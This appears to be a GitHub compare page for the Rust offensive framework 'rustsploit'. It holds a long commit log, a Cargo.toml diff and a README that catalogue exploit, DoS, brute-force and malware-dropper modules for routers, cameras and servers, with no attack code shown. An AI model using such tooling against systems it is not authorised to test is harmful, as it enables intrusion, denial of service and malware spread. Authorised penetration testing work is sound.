Compare commits

...

191 Commits

Author SHA1 Message Date
S.B 874d59a0f3 Delete src directory 2025-11-28 22:18:51 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
S.B 6dc6d2ecfb Merge pull request #22 from s-b-repo/lots-o-fixes
Lots o fixes
2025-11-15 03:35:56 +02:00
S.B 60163b46e6 Update changelog.md 2025-11-15 03:34:21 +02:00
S.B f185052df1 Update Cargo.toml 2025-11-15 03:32:10 +02:00
S.B a4a466083f Add files via upload 2025-11-15 03:31:38 +02:00
S.B 1e285f95c7 Delete src directory 2025-11-15 03:29:15 +02:00
S.B 9ac7c7fce2 Merge pull request #21 from s-b-repo/dockerize
Dockerize
2025-11-14 15:24:46 +02:00
S.B 268f7cec4f Update README.md 2025-11-14 13:37:38 +02:00
S.B 64c10cde10 Update Cargo.toml 2025-11-14 13:36:22 +02:00
S.B e534341e82 Update changelog.md 2025-11-14 10:09:01 +02:00
S.B ed30bde3ee Update changelog.md 2025-11-14 10:08:20 +02:00
S.B f166b8ac51 Add files via upload 2025-11-14 10:07:31 +02:00
S.B 7e2a244fe5 Add files via upload 2025-11-14 10:06:55 +02:00
S.B 512c75ebf1 Delete src directory 2025-11-14 10:03:32 +02:00
S.B af7b2fc80f Update README.md 2025-11-13 09:58:18 +02:00
S.B 1cdebfead5 Update README.md 2025-11-13 09:57:09 +02:00
S.B 472238a883 Update changelog.md 2025-11-13 09:42:40 +02:00
S.B 408007fded Merge pull request #20 from s-b-repo/api-mode-build.rs-improvements-scanner-improvements
Api mode build.rs improvements scanner improvements
2025-11-13 09:42:08 +02:00
S.B 5cb4694bad Update Cargo.toml 2025-11-13 09:39:39 +02:00
S.B 28c9d27857 Add files via upload
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator


Flowise RCE Module (CVE-2025-59528)

Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic

Framework Integration:

Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output

Framework Integration:

Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset

Dependencies Added:

h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types


Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>



Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages



Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.


Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
2025-11-13 09:38:57 +02:00
S.B de0ed82830 Delete src directory 2025-11-13 09:37:40 +02:00
S.B f4a554accf Update build.rs 2025-11-12 20:20:03 +02:00
S.B 2e046a4ced Remove assignment details from extra.txt
Removed specific assignment details for a Rust driver.
2025-11-12 20:18:48 +02:00
S.B fd5a180702 Refactor Cargo.toml to remove duplicates
Removed duplicate package information and cleaned up dependencies.
2025-11-12 20:17:37 +02:00
S.B 80903bfdc4 Update Cargo.toml with new dependencies
Added various dependencies for networking, exploitation, and utilities.
2025-11-12 20:17:17 +02:00
S.B 8df8849401 Update changelog.md 2025-11-12 20:16:17 +02:00
S.B b48de95cca Add files via upload 2025-11-12 20:15:32 +02:00
S.B 75c4a0fd71 Delete src directory 2025-11-12 20:14:10 +02:00
S.B 5975adce78 Merge pull request #19 from s-b-repo/livaetina-refomration
Livaetina refomration
2025-11-12 19:40:09 +02:00
S.B 1246b3f4b7 Revise README with updates and new module details
Updated README to enhance clarity and detail about Rustsploit's features, modules, and usage. Added new modules and improved documentation.
2025-11-12 18:35:05 +02:00
S.B b148f8ba14 Add files via upload 2025-11-12 18:31:45 +02:00
S.B d4dd665efd Add files via upload 2025-11-12 18:21:23 +02:00
S.B a5b6261101 Delete docs directory 2025-11-12 18:21:04 +02:00
S.B 06915cbc35 Add files via upload 2025-11-12 18:19:44 +02:00
S.B b9ace5a109 Delete lists directory 2025-11-12 18:19:20 +02:00
S.B 04f1e67758 Add files via upload 2025-11-12 18:18:49 +02:00
S.B 15a12d57e9 Delete src directory 2025-11-12 18:16:46 +02:00
S.B e49f55eb21 Update README.md 2025-11-09 03:05:57 +02:00
S.B 9865225e99 Bump version to 0.2.0 and update sysinfo
Updated package version and dependencies.
2025-11-09 03:03:04 +02:00
S.B 3b33e40727 Add files via upload 2025-11-09 03:01:14 +02:00
S.B 759f733650 Create test.txt 2025-11-09 03:00:23 +02:00
S.B 5873ba0d5a Delete src directory 2025-11-09 02:59:43 +02:00
S.B 3da254c19b Update README.md 2025-05-26 11:56:33 +02:00
S.B 986384f95c Update README.md 2025-05-26 11:52:51 +02:00
S.B 6e0679a162 Add files via upload 2025-05-26 11:51:44 +02:00
S.B 8855289c45 Delete lat.png 2025-05-26 11:51:01 +02:00
S.B 21c1240d61 Update README.md 2025-05-26 11:49:10 +02:00
S.B 2d0743ab3a Merge pull request #13 from s-b-repo/elons-musk-sniff-sniff
Elons musk sniff sniff
2025-05-26 11:46:14 +02:00
S.B 03fba5f883 Update port_scanner.rs 2025-05-26 11:45:07 +02:00
S.B aea5dc5952 Update narutto_dropper.rs 2025-05-26 11:43:27 +02:00
S.B 10cb64da04 Update mod.rs 2025-05-26 11:25:10 +02:00
S.B 51872dda9c Add files via upload 2025-05-26 11:23:33 +02:00
S.B dfdecaca39 Update Cargo.toml 2025-05-26 10:58:48 +02:00
S.B dcefdf961c Update mod.rs 2025-05-26 10:57:04 +02:00
S.B 8f22dfeb75 Update port_scanner.rs 2025-05-26 10:55:48 +02:00
S.B e6de81c538 Add files via upload 2025-05-26 10:48:59 +02:00
S.B 60e1dd3c6c Update extra.txt 2025-05-22 22:56:38 +02:00
S.B f4fd03923a Update opensshserver_9_8p1race_condition.rs 2025-05-22 22:55:51 +02:00
S.B 0aab4d3265 Update opensshserver_9_8p1race_condition.rs 2025-05-22 21:22:59 +02:00
S.B 31b47015e6 Update extra.txt 2025-05-22 21:21:43 +02:00
S.B 06acd0a837 Update README.md 2025-05-22 15:40:17 +02:00
S.B 6769d5756b Update README.md 2025-05-22 15:39:19 +02:00
S.B 8bf13d0d2c Update README.md 2025-05-22 15:38:25 +02:00
S.B 2baf1c700f Update mod.rs 2025-05-22 15:28:45 +02:00
S.B 6eba62971c Rename doc.md to readme.md 2025-05-22 15:25:36 +02:00
S.B fb52ae5440 Add files via upload 2025-05-22 15:25:03 +02:00
S.B 2a503e4a18 Rename about.txt to readme.md 2025-05-22 15:24:01 +02:00
S.B a859cff7ab Update narutto_dropper.rs 2025-05-22 15:23:10 +02:00
S.B a8f284051b Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 15:22:56 +02:00
S.B a22b8cd3fe Update mod.rs 2025-05-22 15:21:52 +02:00
S.B 9ecb846f62 Rename about.md to readme.md 2025-05-22 15:20:39 +02:00
S.B 87558a0ddd Rename about.txt to about.md 2025-05-22 15:20:09 +02:00
S.B 2d49af6a24 Update mod.rs 2025-05-22 14:10:43 +02:00
S.B 220482758d Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 14:09:53 +02:00
S.B f1f30511d4 Update smtp_bruteforce.rs 2025-05-22 09:19:08 +02:00
S.B 25401dcbc6 Update port_scanner.rs 2025-05-22 09:12:00 +02:00
S.B 5839e5b346 Update mod.rs 2025-05-21 19:59:30 +02:00
S.B c114f8e1fe Add files via upload 2025-05-21 19:59:01 +02:00
S.B 310d192bc2 Update rdp_bruteforce.rs 2025-05-21 14:34:19 +02:00
S.B 4f878b7d36 Update ssh_bruteforce.rs
added ssh improvement
2025-05-21 14:22:04 +02:00
S.B e03dfff879 Update ftp_bruteforce.rs 2025-05-18 05:33:10 +02:00
S.B 91bfd85323 Update README.md 2025-05-09 22:27:00 +02:00
S.B 2813f21988 Update mod.rs 2025-05-09 22:19:32 +02:00
S.B 08a2af4274 Add files via upload 2025-05-09 22:18:26 +02:00
S.B 3c65160cc3 Update mod.rs 2025-05-09 21:09:27 +02:00
S.B 3dcc51f388 Add files via upload 2025-05-09 21:08:43 +02:00
S.B 394c5eb426 Update Cargo.toml 2025-05-09 15:46:55 +02:00
S.B f8bd0c2fc6 Update mod.rs 2025-05-09 15:35:38 +02:00
S.B 02e3450ea7 Add files via upload 2025-05-09 15:34:37 +02:00
S.B a0e56948d3 Update mod.rs 2025-05-09 11:46:37 +02:00
S.B 2c6e4bfb43 Add files via upload 2025-05-09 11:44:53 +02:00
S.B dd8f28130a Update zte_zxv10_h201l_rce_authenticationbypass.rs 2025-05-09 11:36:43 +02:00
S.B 054be52ba4 Update Cargo.toml 2025-05-08 16:55:56 +02:00
S.B 359ed806ba Add files via upload 2025-05-08 16:53:47 +02:00
S.B 918d83210c Update mod.rs 2025-05-08 16:52:44 +02:00
S.B bf06138630 Add files via upload 2025-05-08 16:52:10 +02:00
S.B 334f24092f Delete src/modules/exploits/router directory 2025-05-08 16:51:24 +02:00
S.B 878bad38eb Update Cargo.toml 2025-05-08 16:02:28 +02:00
S.B b7df70055d Update README.md 2025-05-08 14:55:57 +02:00
S.B b8998d0633 Merge pull request #12 from Giteeajake/main
Update Cargo.toml
2025-05-06 17:14:55 +02:00
Giteeajake 123918d3bf Update Cargo.toml 2025-05-06 10:09:29 +08:00
Giteeajake f445d52c28 Update Cargo.toml 2025-05-06 10:03:56 +08:00
S.B f2bd0ae5a1 Merge pull request #10 from s-b-repo/dev
Dev
2025-05-04 18:03:42 +02:00
S.B 494d6d265d Update Cargo.toml 2025-05-04 17:32:22 +02:00
S.B bb28d1bf30 Update mod.rs 2025-05-04 17:09:45 +02:00
S.B 5a72376a3f Add files via upload 2025-05-04 17:09:03 +02:00
S.B 5cbbbe2343 Update README.md 2025-05-04 17:07:10 +02:00
S.B 96b11ddf0c Update mod.rs 2025-05-04 16:50:00 +02:00
S.B 061176904c Delete src/modules/exploits/camera directory 2025-05-04 16:49:41 +02:00
S.B de9732f7de Add files via upload 2025-05-04 16:49:06 +02:00
S.B bfc094784a Add files via upload 2025-05-04 16:48:33 +02:00
S.B c8eca30789 Add files via upload 2025-05-04 16:48:09 +02:00
S.B eda2802f9b Update README.md 2025-05-04 16:26:59 +02:00
S.B 83161d7f70 Update Cargo.toml 2025-05-04 16:00:35 +02:00
S.B 45a3d49c2f Update cve_2024_7029_avtech_camera.rs 2025-05-04 15:58:57 +02:00
S.B 0b9e470e3d Update mod.rs 2025-05-04 15:44:48 +02:00
S.B bb9ce994b5 Add files via upload 2025-05-04 15:43:50 +02:00
S.B bbbaa69761 Delete src/modules/exploits/payloadgens/gpgenbat.rs 2025-05-04 15:43:13 +02:00
S.B 4625f7d31e Update mod.rs 2025-04-28 07:16:25 +02:00
S.B 900d73ea0b Add files via upload 2025-04-28 07:15:57 +02:00
S.B d1d12cb165 Update mod.rs 2025-04-28 06:47:00 +02:00
S.B 4112a71af2 Add files via upload 2025-04-28 06:46:25 +02:00
S.B 6a3eb5ce44 Update README.md 2025-04-26 01:08:03 +02:00
S.B aa21d50cb9 Merge pull request #8 from s-b-repo/ipv6-patch
Ipv6 patch
2025-04-26 00:37:21 +02:00
S.B 8250c927a4 Update mod.rs 2025-04-26 00:37:04 +02:00
S.B 626aa3f084 Update acti_camera_default.rs 2025-04-26 00:35:15 +02:00
S.B 88427e4bc8 Update extra.txt 2025-04-26 00:33:28 +02:00
S.B 38575855d5 Update Cargo.toml 2025-04-26 00:32:48 +02:00
S.B 5130128663 Update mod.rs 2025-04-26 00:30:26 +02:00
S.B 8aff83df06 Add files via upload 2025-04-26 00:29:58 +02:00
S.B f5f09f3309 Update ftp_bruteforce.rs 2025-04-26 00:29:28 +02:00
S.B e5a70c2def Update acti_camera_default.rs 2025-04-25 23:30:02 +02:00
S.B 2a29276bda Update opensshserver_9_8p1race_condition.rs 2025-04-25 23:25:02 +02:00
S.B d25b58acbf Update port_scanner.rs 2025-04-25 21:39:30 +02:00
S.B 7667872198 Update ssdp_msearch.rs 2025-04-25 21:39:13 +02:00
S.B e85a99ce0e Update tplink_wr740n_dos.rs 2025-04-25 21:29:31 +02:00
S.B d48c946a4b Update tp_link_vn020_dos.rs 2025-04-25 21:23:52 +02:00
S.B 13c23523cc Update batgen.rs 2025-04-25 21:15:05 +02:00
S.B d64ccf34e5 Update mod.rs 2025-04-25 21:13:26 +02:00
S.B 681751e59a Add files via upload 2025-04-25 21:12:42 +02:00
S.B 08e1b55da5 Update mod.rs 2025-04-25 16:23:22 +02:00
S.B 638559356f Create batgen.rs 2025-04-25 16:22:52 +02:00
S.B 6a9b5354b4 Update payloadgenbat.rs 2025-04-25 15:46:44 +02:00
S.B 3b16120d5b Update heartbleed.rs 2025-04-25 15:38:30 +02:00
S.B ee5d3e11c2 Update uniview_nvr_pwd_disclosure.rs 2025-04-25 15:31:14 +02:00
S.B 6f61853c5f Update abussecurity_camera_cve202326609variant2.rs 2025-04-25 15:25:10 +02:00
S.B e04e09eb64 Update abussecurity_camera_cve202326609variant1.rs 2025-04-25 15:18:05 +02:00
S.B 01b3e5e8d2 Update rdp_bruteforce.rs 2025-04-25 15:00:57 +02:00
S.B d531723c4d Update rtsp_bruteforce_advanced.rs 2025-04-25 14:58:08 +02:00
S.B b2ee6300b2 Update ssh_bruteforce.rs 2025-04-25 14:45:13 +02:00
S.B 518c3b2c75 Update telnet_bruteforce.rs 2025-04-25 12:44:56 +02:00
S.B ec963c0a0f Update README.md 2025-04-25 12:13:55 +02:00
S.B faebb28a55 Update ssh_bruteforce.rs 2025-04-25 12:13:03 +02:00
S.B ad2e959fdb Update rtsp_bruteforce_advanced.rs 2025-04-25 11:52:53 +02:00
S.B a71ff971d2 Update mod.rs 2025-04-25 11:27:58 +02:00
S.B b5d7e1314b Add files via upload 2025-04-25 11:27:32 +02:00
S.B c8c5730044 Update README.md 2025-04-25 11:25:19 +02:00
S.B 4be9fffd36 Update README.md 2025-04-24 21:53:19 +02:00
S.B 8be8d814b2 Update README.md 2025-04-24 21:39:03 +02:00
S.B 6e4c2a142e Update ftp_anonymous.rs 2025-04-24 21:37:52 +02:00
S.B 4aeb23a340 Update Cargo.toml 2025-04-24 21:23:14 +02:00
S.B af53756b78 Update ftp_bruteforce.rs 2025-04-24 21:22:22 +02:00
S.B 8e182b2530 Update utils.rs 2025-04-24 21:20:52 +02:00
S.B ffabcfa277 Update mod.rs 2025-04-24 21:20:30 +02:00
60 changed files with 3759 additions and 4469 deletions
+106 -61
View File
@@ -1,69 +1,114 @@
[package]
name = "rustsploit"
version = "0.1.0"
version = "0.3.5"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "socks"] }
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process"] }
# Easier error handling
anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
# RDP brute forcing module
rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
#camera uniview exploit
quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
#ssh rce race condition
libc = "0.2.172"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# Core / General
anyhow = "1.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "15.0"
sysinfo = { version = "0.36", features = ["multithread"] }
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
h2 = "0.3"
http = "0.2"
bytes = "1.0"
tokio-rustls = "0.24"
url = "2.5"
quick-xml = "0.37"
data-encoding = "2.5"
semver = "1.0"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.7"
sha2 = "0.10"
hex = "0.4"
flate2 = "1.0"
base64 = "0.22"
# Networking & Protocols
tokio-socks = "0.5"
socket2 = { version = "0.5", features = ["all"] }
pnet_packet = "0.34"
ipnet = "2.11"
ipnetwork = "0.20"
regex = "1.11" # newest listed
which = "8.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "0.26"
# Telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
# SSH
ssh2 = "0.9"
libc = "0.2"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# Walkdir (used by telnet module)
walkdir = "2.5"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.26"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
uuid = { version = "1.10", features = ["v4"] }
# DNS
hickory-client = { version = "0.24", features = ["dnssec"] }
hickory-proto = "0.24"
# Misc utilities
once_cell = "1.19"
home = "=0.5.11" # pinned for edition 2021 compatibility
[build-dependencies]
regex = "1.11"
# Dependency overrides to address security warnings in transitive dependencies
# Note: These are warnings (not vulnerabilities) in transitive dependencies
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
+369 -113
View File
@@ -1,178 +1,434 @@
# Rustsploit 🛠️
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/lat.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
📚 **Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
---
### Goals & To Do lists
Convert exploits and add modules
# completed
```
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
bomb Persistence create SSH user | Remote Root Shell
added spotube exploit zero day exploit as of 24 april reported to spotube
added exploit tplink_wr740n Buffer Overflow 'DOS'
added exploit tp_link_vn020 Denial Of Service (DOS)
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
added exploit uniview_nvr_pwd_disclosure password disclore
updated docs again and readme
rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
added proxy support https/http socks4/socks5
telnet brute forcing module
ssh brute forcing module
ftp anonymous login module
ftp brute forcing module
added rtsp_bruteforce module
dynamic modules listing and colored listing
```
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
## 🚀 Building & Running
## Table of Contents
### 📦 Clone the Repository
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Docker Deployment](#docker-deployment)
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
```
git clone https://github.com/s-b-repo/r-routersploit.git
cd r-routersploit
---
## Highlights
-**Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
-**Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
-**Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
-**Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
-**Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
-**Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
-**Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
-**Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
-**REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
---
## Module Catalog
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists and helper files |
Run `modules` or `find <keyword>` in the shell for the authoritative list.
---
## Quick Start
### Requirements
```
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
```
### 🛠️ Build the Project
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
```
### Clone + Build
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
```
To build and run:
```
### Run (Interactive Shell)
```
cargo run
```
To install:
```
cargo install
### Install (optional)
```
cargo install --path .
```
---
### 🖥️ Run in Interactive Shell Mode
## Docker Deployment
Launch the interactive RSF shell:
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
```
cargo run
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```
python3 scripts/setup_docker.py
```
Once inside the shell:
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
4. Toggle hardening mode and tune the IP limit if desired.
5. Generate:
- `docker/Dockerfile.api` (build + serve stages)
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
### Non-Interactive / CI Usage
All prompts have CLI equivalents:
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
--ip-limit 5 \
--skip-up \
--force \
--non-interactive
```
